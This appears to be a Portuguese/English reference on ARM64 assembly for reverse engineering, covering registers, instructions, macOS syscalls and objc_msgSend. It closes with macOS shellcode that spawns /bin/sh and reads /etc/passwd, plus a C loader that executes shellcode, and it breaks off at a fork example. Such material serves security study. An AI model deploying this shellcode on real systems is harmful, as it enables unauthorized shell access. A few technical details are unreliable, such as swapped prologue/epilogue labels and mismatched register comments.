Introdução ao ARM64v8

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Níveis de Exceção - EL (ARM64v8)

Na arquitetura ARMv8, os níveis de execução, conhecidos como Exception Levels (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente:

  1. EL0 - User Mode:
  • Este é o nível com menor privilégio e é usado para executar código de aplicações regulares.
  • Aplicações executando em EL0 são isoladas umas das outras e do software do sistema, aumentando a segurança e a estabilidade.
  1. EL1 - Operating System Kernel Mode:
  • A maioria dos kernels de sistemas operacionais roda neste nível.
  • EL1 tem mais privilégios que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
  1. EL2 - Hypervisor Mode:
  • Esse nível é usado para virtualização. Um hypervisor rodando em EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico.
  • EL2 fornece recursos para isolamento e controle dos ambientes virtualizados.
  1. EL3 - Secure Monitor Mode:
  • Este é o nível mais privilegiado e é frequentemente usado para secure boot e ambientes de execução confiáveis.
  • EL3 pode gerenciar e controlar acessos entre estados secure e non-secure (como secure boot, trusted OS, etc.).

O uso desses níveis permite uma forma estruturada e segura de gerenciar diferentes aspectos do sistema, desde aplicações de usuário até o software de sistema mais privilegiado. A abordagem do ARMv8 para níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando a segurança e robustez do sistema.

Registros (ARM64v8)

ARM64 tem 31 registradores de uso geral, rotulados x0 até x30. Cada um pode armazenar um valor 64-bit (8 bytes). Para operações que requerem apenas 32 bits, os mesmos registradores podem ser acessados em modo 32-bit usando os nomes w0 até w30.

  1. x0 a x7 - Tipicamente usados como registradores temporários e para passar parâmetros para sub-rotinas.
  • x0 também carrega os dados de retorno de uma função
  1. x8 - No kernel do Linux, x8 é usado como o número da system call para a instrução svc. In macOS the x16 is the one used!
  2. x9 a x15 - Mais registradores temporários, frequentemente usados para variáveis locais.
  3. x16 e x17 - Intra-procedural Call Registers. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs PLT (Procedure Linkage Table).
  • x16 é usado como o system call number para a instrução svc em macOS.
  1. x18 - Platform register. Pode ser usado como registrador de uso geral, mas em algumas plataformas este registrador é reservado para usos específicos da plataforma: ponteiro para o bloco de ambiente da thread atual no Windows, ou para apontar para a executing task structure in linux kernel.
  2. x19 a x28 - São registradores preservados pelo callee. Uma função deve preservar os valores desses registradores para seu caller, então eles são armazenados na stack e recuperados antes de retornar ao caller.
  3. x29 - Frame pointer para rastrear o frame da stack. Quando um novo frame de stack é criado porque uma função é chamada, o registrador x29 é armazenado na stack e o novo endereço do frame pointer (endereço de sp) é armazenado neste registrador.
  • Este registrador também pode ser usado como registrador de uso geral embora normalmente seja usado como referência para local variables.
  1. x30 ou lr - Link register. Guarda o endereço de retorno quando uma instrução BL (Branch with Link) ou BLR (Branch with Link to Register) é executada, armazenando o valor do pc neste registrador.
  • Também pode ser usado como qualquer outro registrador.
  • Se a função atual for chamar uma nova função e portanto sobrescrever lr, ela irá armazená-lo na stack no início; isso é o epílogo (stp x29, x30 , [sp, #-48]; mov x29, sp -> Store fp and lr, generate space and get new fp) e recuperá-lo no final; isso é o prólogo (ldp x29, x30, [sp], #48; ret -> Recover fp and lr and return).
  1. sp - Stack pointer, usado para rastrear o topo da stack.
  • O valor de sp deve sempre ser mantido com pelo menos um alinhamento de quadword ou uma exceção de alinhamento pode ocorrer.
  1. pc - Program counter, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de geração de exceções, retornos de exceção e branches. As únicas instruções ordinárias que podem ler este registrador são as branch with link (BL, BLR) para armazenar o endereço do pc em lr (Link Register).
  2. xzr - Zero register. Também chamado wzr em sua forma de registrador 32-bit. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando subs como subs XZR, Xn, #10 armazenando o resultado em lugar nenhum (em xzr).

Os registradores Wn são a versão 32bit do registrador Xn.

tip

Os registradores de X0 a X18 são voláteis, o que significa que seus valores podem ser alterados por chamadas de função e interrupções. Entretanto, os registradores de X19 a X28 são não-voláteis, significando que seus valores devem ser preservados através de chamadas de função ("callee saved").

SIMD e Registradores de Ponto-Flutuante

Além disso, existem outros 32 registradores de 128bit que podem ser usados em operações SIMD (single instruction multiple data) otimizadas e para realizar aritmética de ponto-flutuante. Estes são chamados de registradores Vn embora também possam operar em 64-bit, 32-bit, 16-bit e 8-bit e então são chamados Qn, Dn, Sn, Hn e Bn.

Registradores de Sistema

Existem centenas de registradores de sistema, também chamados de special-purpose registers (SPRs), usados para monitorar e controlar o comportamento dos processadores.
Eles só podem ser lidos ou configurados usando as instruções especiais dedicadas mrs e msr.

Os registradores especiais TPIDR_EL0 e TPIDDR_EL0 são comumente encontrados ao fazer reverse engineering. O sufixo EL0 indica o nível mínimo de exceção a partir do qual o registrador pode ser acessado (neste caso EL0 é o nível de exceção regular em que programas normais rodam).
Eles são frequentemente usados para armazenar o endereço base do thread-local storage na memória. Normalmente o primeiro é legível e gravável por programas rodando em EL0, mas o segundo pode ser lido de EL0 e escrito a partir de EL1 (como o kernel).

  • mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0
  • msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0

PSTATE

PSTATE contém vários componentes do processo serializados no registrador especial visível ao sistema operacional SPSR_ELx, sendo X o nível de permissão da exceção disparada (isso permite recuperar o estado do processo quando a exceção termina).
Estes são os campos acessíveis:

  • As flags de condição N, Z, C e V:
  • N significa que a operação produziu um resultado negativo
  • Z significa que a operação produziu zero
  • C significa que a operação gerou carry
  • V significa que a operação gerou um overflow em números com sinal:
  • A soma de dois números positivos produz um resultado negativo.
  • A soma de dois números negativos produz um resultado positivo.
  • Na subtração, quando um grande número negativo é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro do intervalo do tamanho de bits dado.
  • Obviamente o processador não sabe se a operação é com sinal ou não, então ele checará C e V nas operações e indicará se ocorreu um carry no caso de ser signed ou unsigned.

warning

Nem todas as instruções atualizam essas flags. Algumas como CMP ou TST o fazem, e outras que têm sufixo s como ADDS também o fazem.

  • A flag de largura atual do registrador (nRW): Se a flag tiver valor 0, o programa irá rodar no estado de execução AArch64 quando for retomado.
  • O Exception Level atual (EL): Um programa regular rodando em EL0 terá o valor 0
  • A flag de single stepping (SS): Usada por debuggers para single step ao configurar a flag SS para 1 dentro de SPSR_ELx via uma exceção. O programa executará um passo e gerará uma exceção de single step.
  • A flag de estado de exceção ilegal (IL): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida; essa flag é setada para 1 e o processador dispara uma illegal state exception.
  • As flags DAIF: Essas flags permitem que um programa privilegiado mascare seletivamente certas exceções externas.
  • Se A for 1 significa que asynchronous aborts serão acionados. O I configura a resposta a Interrupt Requests externos (IRQs). e o F está relacionado a Fast Interrupt Requests (FIRs).
  • As flags de seleção do stack pointer (SPS): Programas privilegiados rodando em EL1 e acima podem alternar entre usar seu próprio registrador stack pointer e o do modo usuário (por exemplo, entre SP_EL1 e EL0). Esta troca é realizada escrevendo no registrador especial SPSel. Isso não pode ser feito a partir de EL0.

Calling Convention (ARM64v8)

A calling convention do ARM64 especifica que os oito primeiros parâmetros para uma função são passados nos registradores x0 até x7. Parâmetros adicionais são passados na stack. O valor de retorno é passado de volta no registrador x0, ou também em x1 se for 128 bits. Os registradores x19 a x30 e sp devem ser preservados através de chamadas de função.

Ao ler uma função em assembly, procure pelo prologue e epilogue da função. O prologue geralmente envolve salvar o frame pointer (x29), configurar um novo frame pointer, e alocar espaço na stack. O epilogue geralmente envolve restaurar o frame pointer salvo e retornar da função.

Calling Convention em Swift

Swift tem sua própria calling convention que pode ser encontrada em https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Instruções Comuns (ARM64v8)

Instruções ARM64 geralmente têm o formato opcode dst, src1, src2, onde opcode é a operação a ser realizada (como add, sub, mov, etc.), dst é o registrador de destino onde o resultado será armazenado, e src1 e src2 são os registradores origem. Valores imediatos também podem ser usados no lugar de registradores fonte.

  • mov: Move um valor de um registrador para outro.

  • Exemplo: mov x0, x1 — Move o valor de x1 para x0.

  • ldr: Load um valor da memória para um registrador.

  • Exemplo: ldr x0, [x1] — Carrega um valor da localização de memória apontada por x1 em x0.

  • Modo offset: Um offset afetando o ponteiro de origem é indicado, por exemplo:

  • ldr x2, [x1, #8], isto carregará em x2 o valor de x1 + 8

  • ldr x2, [x0, x1, lsl #2], isto carregará em x2 um objeto do array x0, da posição x1 (index) * 4

  • Modo pré-indexado: Isto aplicará cálculos à origem, obterá o resultado e também armazenará a nova origem na origem.

  • ldr x2, [x1, #8]!, isto carregará x1 + 8 em x2 e armazenará em x1 o resultado de x1 + 8

  • str lr, [sp, #-4]!, Armazena o link register em sp e atualiza o registrador sp

  • Modo post-index: Isto é como o anterior, mas o endereço de memória é acessado e então o offset é calculado e armazenado.

  • ldr x0, [x1], #8, carrega x1 em x0 e atualiza x1 com x1 + 8

  • Endereçamento relativo ao PC: Neste caso o endereço a ser carregado é calculado relativo ao registrador PC

  • ldr x1, =_start, Isto carregará em x1 o endereço onde o símbolo _start começa relacionado ao PC atual.

  • str: Store um valor de um registrador para a memória.

  • Exemplo: str x0, [x1] — Armazena o valor em x0 na localização de memória apontada por x1.

  • ldp: Load Pair of Registers. Esta instrução carrega dois registradores de localizações de memória consecutivas. O endereço de memória é tipicamente formado adicionando um offset ao valor em outro registrador.

  • Exemplo: ldp x0, x1, [x2] — Carrega x0 e x1 das localizações de memória em x2 e x2 + 8, respectivamente.

  • stp: Store Pair of Registers. Esta instrução armazena dois registradores em localizações de memória consecutivas. O endereço de memória é tipicamente formado adicionando um offset ao valor em outro registrador.

  • Exemplo: stp x0, x1, [sp] — Armazena x0 e x1 nas localizações de memória em sp e sp + 8, respectivamente.

  • stp x0, x1, [sp, #16]! — Armazena x0 e x1 nas localizações de memória em sp+16 e sp + 24, respectivamente, e atualiza sp com sp+16.

  • add: Soma os valores de dois registradores e armazena o resultado em um registrador.

  • Sintaxe: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> Destino

  • Xn2 -> Operando 1

  • Xn3 | #imm -> Operando 2 (registrador ou imediato)

  • [shift #N | RRX] -> Realiza um shift ou chama RRX

  • Exemplo: add x0, x1, x2 — Soma os valores em x1 e x2 e armazena o resultado em x0.

  • add x5, x5, #1, lsl #12 — Isso equivale a 4096 (um 1 shiftado 12 vezes) -> 1 0000 0000 0000 0000

  • adds: Isto executa um add e atualiza as flags

  • sub: Subtrai os valores de dois registradores e armazena o resultado em um registrador.

  • Veja a sintaxe de add.

  • Exemplo: sub x0, x1, x2 — Subtrai o valor em x2 de x1 e armazena o resultado em x0.

  • subs: Isto é como sub mas atualizando as flags

  • mul: Multiplica os valores de dois registradores e armazena o resultado em um registrador.

  • Exemplo: mul x0, x1, x2 — Multiplica os valores em x1 e x2 e armazena o resultado em x0.

  • div: Divide o valor de um registrador por outro e armazena o resultado em um registrador.

  • Exemplo: div x0, x1, x2 — Divide o valor em x1 por x2 e armazena o resultado em x0.

  • lsl, lsr, asr, ror, rrx:

  • Logical shift left: Adiciona 0s no final movendo os outros bits para frente (multiplica por 2^n)

  • Logical shift right: Adiciona 0s no início movendo os outros bits para trás (divide por 2^n em unsigned)

  • Arithmetic shift right: Como lsr, mas em vez de adicionar 0s se o bit mais significativo for 1, 1s são adicionados (divide por 2^n em signed)

  • Rotate right: Como lsr mas o que é removido da direita é anexado à esquerda

  • Rotate Right with Extend: Como ror, mas com a flag de carry como o "bit mais significativo". Assim a flag de carry é movida para o bit 31 e o bit removido vai para a flag de carry.

  • bfm: Bit Filed Move, essas operações copiam bits 0...n de um valor e os colocam nas posições m..m+n. O #s especifica a posição do bit mais à esquerda e #r a quantidade de rotate right.

  • Bitfield move: BFM Xd, Xn, #r

  • Signed Bitfield move: SBFM Xd, Xn, #r, #s

  • Unsigned Bitfield move: UBFM Xd, Xn, #r, #s

  • Bitfield Extract e Insert: Copia um bitfield de um registrador e o copia para outro registrador.

  • BFI X1, X2, #3, #4 Insere 4 bits de X2 a partir do bit 3 em X1

  • BFXIL X1, X2, #3, #4 Extrai do bit 3 de X2 quatro bits e os copia para X1

  • SBFIZ X1, X2, #3, #4 Sign-extends 4 bits de X2 e os insere em X1 começando na posição de bit 3 zerando os bits à direita

  • SBFX X1, X2, #3, #4 Extrai 4 bits começando no bit 3 de X2, faz sign extend e coloca o resultado em X1

  • UBFIZ X1, X2, #3, #4 Zero-extends 4 bits de X2 e os insere em X1 começando na posição de bit 3 zerando os bits à direita

  • UBFX X1, X2, #3, #4 Extrai 4 bits começando no bit 3 de X2 e coloca o resultado zero-extend em X1.

  • Sign Extend To X: Estende o sinal (ou adiciona apenas 0s na versão unsigned) de um valor para poder realizar operações com ele:

  • SXTB X1, W2 Estende o sinal de um byte de W2 para X1 (W2 é metade de X2) para preencher os 64 bits

  • SXTH X1, W2 Estende o sinal de um número de 16 bits de W2 para X1 para preencher os 64 bits

  • SXTW X1, W2 Estende o sinal de um valor de 32 bits de W2 para X1 para preencher os 64 bits

  • UXTB X1, W2 Adiciona 0s (unsigned) a um byte de W2 para X1 para preencher os 64 bits

  • extr: Extrai bits de um par especificado de registradores concatenados.

  • Exemplo: EXTR W3, W2, W1, #3 Isto irá concatenar W1+W2 e obter do bit 3 de W2 até o bit 3 de W1 e armazenar em W3.

  • cmp: Compara dois registradores e seta flags de condição. É um alias de subs configurando o registrador de destino para o registrador zero. Útil para saber se m == n.

  • Suporta a mesma sintaxe de subs

  • Exemplo: cmp x0, x1 — Compara os valores em x0 e x1 e ajusta as flags de condição adequadamente.

  • cmn: Compare negative operando. Neste caso é um alias de adds e suporta a mesma sintaxe. Útil para saber se m == -n.

  • ccmp: Comparação condicional, é uma comparação que será executada apenas se uma comparação anterior foi verdadeira e irá especificamente setar bits nzcv.

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> se x1 != x2 e x3 < x4, salta para func

  • Isso porque ccmp será executado apenas se o cmp anterior tiver sido NE; se não for, os bits nzcv serão setados para 0 (o que não satisfará a comparação blt).

  • Isto também pode ser usado como ccmn (mesmo mas negativo, como cmp vs cmn).

  • tst: Verifica se algum dos valores da comparação tem bits em comum a 1 (funciona como um ANDS sem armazenar o resultado em lugar nenhum). É útil para checar um registrador com um valor e verificar se algum dos bits do registrador indicado pelo valor é 1.

  • Exemplo: tst X1, #7 Checa se algum dos últimos 3 bits de X1 é 1

  • teq: Operação XOR descartando o resultado

  • b: Branch incondicional

  • Exemplo: b myFunction

  • Note que isto não preencherá o link register com o endereço de retorno (não é adequado para chamadas de subrotina que precisam retornar)

  • bl: Branch com link, usado para chamar uma subrotina. Armazena o endereço de retorno em x30.

  • Exemplo: bl myFunction — Chama a função myFunction e armazena o endereço de retorno em x30.

  • Note que isto não preencherá o link register com o endereço de retorno (não é adequado para subrotinas que precisam retornar)

  • blr: Branch com Link para registrador, usado para chamar uma subrotina onde o destino é especificado em um registrador. Armazena o endereço de retorno em x30. (Isto é

  • Exemplo: blr x1 — Chama a função cujo endereço está contido em x1 e armazena o endereço de retorno em x30.

  • ret: Retorna de uma subrotina, tipicamente usando o endereço em x30.

  • Exemplo: ret — Retorna da subrotina atual usando o endereço de retorno em x30.

  • b.<cond>: Branches condicionais

  • b.eq: Branch se igual, baseado na instrução cmp anterior.

  • Exemplo: b.eq label — Se a instrução cmp anterior encontrou dois valores iguais, isto salta para label.

  • b.ne: Branch se Não Igual. Esta instrução verifica as flags de condição (que foram setadas por uma instrução de comparação anterior), e se os valores comparados não foram iguais, ela faz branch para um label ou endereço.

  • Exemplo: Após uma instrução cmp x0, x1, b.ne label — Se os valores em x0 e x1 não foram iguais, isto salta para label.

  • cbz: Compare and Branch on Zero. Esta instrução compara um registrador com zero, e se forem iguais, faz branch para um label ou endereço.

  • Exemplo: cbz x0, label — Se o valor em x0 é zero, isto salta para label.

  • cbnz: Compare and Branch on Non-Zero. Esta instrução compara um registrador com zero, e se não forem iguais, faz branch para um label ou endereço.

  • Exemplo: cbnz x0, label — Se o valor em x0 é não-zero, isto salta para label.

  • tbnz: Testa bit e faz branch se não-zero

  • Exemplo: tbnz x0, #8, label

  • tbz: Testa bit e faz branch se zero

  • Exemplo: tbz x0, #8, label

  • Operações de seleção condicional: Estas são operações cujo comportamento varia dependendo dos bits condicionais.

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Se verdadeiro, X0 = X1, se falso, X0 = X2

  • csinc Xd, Xn, Xm, cond -> Se verdadeiro, Xd = Xn, se falso, Xd = Xm + 1

  • cinc Xd, Xn, cond -> Se verdadeiro, Xd = Xn + 1, se falso, Xd = Xn

  • csinv Xd, Xn, Xm, cond -> Se verdadeiro, Xd = Xn, se falso, Xd = NOT(Xm)

  • cinv Xd, Xn, cond -> Se verdadeiro, Xd = NOT(Xn), se falso, Xd = Xn

  • csneg Xd, Xn, Xm, cond -> Se verdadeiro, Xd = Xn, se falso, Xd = - Xm

  • cneg Xd, Xn, cond -> Se verdadeiro, Xd = - Xn, se falso, Xd = Xn

  • cset Xd, Xn, Xm, cond -> Se verdadeiro, Xd = 1, se falso, Xd = 0

  • csetm Xd, Xn, Xm, cond -> Se verdadeiro, Xd = <all 1>, se falso, Xd = 0

  • adrp: Calcula o endereço de página de um símbolo e armazena em um registrador.

  • Exemplo: adrp x0, symbol — Calcula o endereço de página de symbol e armazena em x0.

  • ldrsw: Load um valor signed de 32-bit da memória e sign-extend para 64 bits.

  • Exemplo: ldrsw x0, [x1] — Carrega um valor signed de 32 bits da localização de memória apontada por x1, sign-extends para 64 bits, e armazena em x0.

  • stur: Armazena o valor de um registrador em uma localização de memória, usando um offset a partir de outro registrador.

  • Exemplo: stur x0, [x1, #4] — Armazena o valor em x0 no endereço de memória que é 4 bytes maior que o endereço atualmente em x1.

  • svc : Faz uma system call. Significa "Supervisor Call". Quando o processador executa esta instrução, ele troca de user mode para kernel mode e pula para uma localização específica na memória onde o código de tratamento de system call do kernel está localizado.

  • Exemplo:

armasm
mov x8, 93  ; Load the system call number for exit (93) into register x8.
mov x0, 0   ; Load the exit status code (0) into register x0.
svc 0       ; Make the system call.

Prologue da Função

  1. Salvar o link register e o frame pointer na stack:
armasm
stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. Configurar o novo ponteiro de quadro: mov x29, sp (configura o novo ponteiro de quadro para a função atual)
  2. Alocar espaço na pilha para variáveis locais (se necessário): sub sp, sp, <size> (onde <size> é o número de bytes necessários)

Epílogo da Função

  1. Desalocar variáveis locais (se tiverem sido alocadas): add sp, sp, <size>
  2. Restaurar o registrador de link e o ponteiro de quadro:
armasm
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Return: ret (retorna o controle para o chamador usando o endereço no registrador de link)

AARCH32 Estado de Execução

Armv8-A suporta a execução de programas de 32-bit. AArch32 pode rodar em um de dois conjuntos de instruções: A32 e T32 e pode alternar entre eles via interworking.
Programas de 64-bit privilegiados podem agendar a execução de programas de 32-bit executando uma transferência de nível de exceção para o 32-bit com privilégio inferior.
Observe que a transição de 64-bit para 32-bit ocorre com um nível de exceção inferior (por exemplo um programa de 64-bit em EL1 disparando um programa em EL0). Isso é feito definindo o bit 4 de SPSR_ELx registrador especial para 1 quando a thread do processo AArch32 estiver pronta para ser executada e o restante de SPSR_ELx armazena o CPSR do programa AArch32. Então, o processo privilegiado chama a instrução ERET para que o processador transicione para AArch32 entrando em A32 ou T32 dependendo do CPSR**.**

O interworking ocorre usando os bits J e T do CPSR. J=0 e T=0 significa A32 e J=0 e T=1 significa T32. Isso basicamente equivale a definir o bit menos significativo como 1 para indicar que o conjunto de instruções é T32.
Isso é definido durante as instruções de desvio de interworking, mas também pode ser definido diretamente com outras instruções quando o PC é definido como registrador de destino. Exemplo:

Outro exemplo:

armasm
_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Registers

There are 16 32-bit registers (r0-r15). From r0 to r14 they can be used for any operation, however some of them are usually reserved:

  • r15: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4.
  • r11: Frame Pointer
  • r12: Intra-procedural call register
  • r13: Stack Pointer (Note the stack is always 16-byte aligned)
  • r14: Link Register

Moreover, registers are backed up in banked registries. Which are places that store the registers values allowing to perform fast context switching in exception handling and privileged operations to avoid the need to manually save and restore registers every time.
This is done by saving the processor state from the CPSR to the SPSR of the processor mode to which the exception is taken. On the exception returns, the CPSR is restored from the SPSR.

CPSR - Current Program Status Register

In AArch32 the CPSR works similar to PSTATE in AArch64 and is also stored in SPSR_ELx when a exception is taken to restore later the execution:

The fields are divided in some groups:

  • Application Program Status Register (APSR): Arithmetic flags and accesible from EL0
  • Execution State Registers: Process behaviour (managed by the OS).

Application Program Status Register (APSR)

  • The N, Z, C, V flags (just like in AArch64)
  • The Q flag: It's set to 1 whenever integer saturation occurs during the execution of a specialized saturating arithmetic instruction. Once it's set to 1, it'll maintain the value until it's manually set to 0. Moreover, there isn't any instruction that checks its value implicitly, it must be done reading it manually.
  • GE (Greater than or equal) Flags: It's used in SIMD (Single Instruction, Multiple Data) operations, such as "parallel add" and "parallel subtract". These operations allow processing multiple data points in a single instruction.

For example, the UADD8 instruction adds four pairs of bytes (from two 32-bit operands) in parallel and stores the results in a 32-bit register. It then sets the GE flags in the APSR based on these results. Each GE flag corresponds to one of the byte additions, indicating if the addition for that byte pair overflowed.

The SEL instruction uses these GE flags to perform conditional actions.

Execution State Registers

  • The J and T bits: J should be 0 and if T is 0 the instruction set A32 is used, and if it's 1, the T32 is used.
  • IT Block State Register (ITSTATE): These are the bits from 10-15 and 25-26. They store conditions for instructions inside an IT prefixed group.
  • E bit: Indicates the endianness.
  • Mode and Exception Mask Bits (0-4): They determine the current execution state. The 5th one indicates if the program runs as 32bit (a 1) or 64bit (a 0). The other 4 represents the exception mode currently in used (when a exception occurs and it's being handled). The number set indicates the current priority in case another exception is triggered while this is being handled.
  • AIF: Certain exceptions can be disabled using the bits A, I, F. If A is 1 it means asynchronous aborts will be triggered. The I configures to respond to external hardware Interrupts Requests (IRQs). and the F is related to Fast Interrupt Requests (FIRs).

macOS

BSD syscalls

Check out syscalls.master or run cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h. BSD syscalls will have x16 > 0.

Mach Traps

Check out in syscall_sw.c the mach_trap_table and in mach_traps.h the prototypes. O número máximo de Mach traps é MACH_TRAP_TABLE_COUNT = 128. Mach traps will have x16 < 0, so you need to call the numbers from the previous list with a minus: _kernelrpc_mach_vm_allocate_trap is -10.

You can also check libsystem_kernel.dylib in a disassembler to find how to call these (and BSD) syscalls:

bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Note que Ida e Ghidra também podem decompilar dylibs específicos do cache simplesmente passando o cache.

tip

Às vezes é mais fácil verificar o código decompilado de libsystem_kernel.dylib do que verificar o código-fonte, porque o código de várias syscalls (BSD e Mach) é gerado via scripts (ver comentários no código-fonte), enquanto no dylib você pode encontrar o que está sendo chamado.

machdep calls

XNU suporta outro tipo de chamadas chamadas machine dependent. Os números dessas chamadas dependem da arquitetura e nem as chamadas nem os números são garantidos a permanecer constantes.

comm page

Esta é uma página de memória pertencente ao kernel que é mapeada no address space de cada processo de usuário. Destina-se a tornar a transição do modo usuário para o kernel mais rápida do que usar syscalls para serviços do kernel que são usados com tanta frequência que essa transição seria muito ineficiente.

Por exemplo a chamada gettimeofdate lê o valor de timeval diretamente da comm page.

objc_msgSend

É muito comum encontrar essa função usada em programas Objective-C ou Swift. Essa função permite chamar um método de um objeto Objective-C.

Parameters (mais info na documentação):

  • x0: self -> Ponteiro para a instância
  • x1: op -> Selector do método
  • x2... -> Demais argumentos do método invocado

Então, se você colocar um breakpoint antes do branch para essa função, você pode descobrir facilmente o que está sendo invocado no lldb com (neste exemplo o objeto chama um objeto de NSConcreteTask que irá executar um comando):

bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

tip

Ao definir a variável de ambiente NSObjCMessageLoggingEnabled=1 é possível log quando essa função é chamada em um arquivo como /tmp/msgSends-pid.

Além disso, definindo OBJC_HELP=1 e executando qualquer binário você pode ver outras variáveis de ambiente que poderia usar para log quando certas ações Objc-C ocorrem.

Quando essa função é chamada, é necessário encontrar o método chamado da instância indicada; para isso são feitas diferentes buscas:

  • Perform optimistic cache lookup:
  • If successful, done
  • Acquire runtimeLock (read)
  • If (realize && !cls->realized) realize class
  • If (initialize && !cls->initialized) initialize class
  • Try class own cache:
  • If successful, done
  • Try class method list:
  • If found, fill cache and done
  • Try superclass cache:
  • If successful, done
  • Try superclass method list:
  • If found, fill cache and done
  • If (resolver) try method resolver, and repeat from class lookup
  • If still here (= all else has failed) try forwarder

Shellcodes

Para compilar:

bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Para extrair os bytes:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Para macOS mais recentes:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C code para testar o shellcode
c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Shell

Retirado de here e explicado.

armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

Ler com cat

O objetivo é executar execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha de endereços).

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Invocar comando com sh a partir de um fork para que o processo principal não seja morto

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
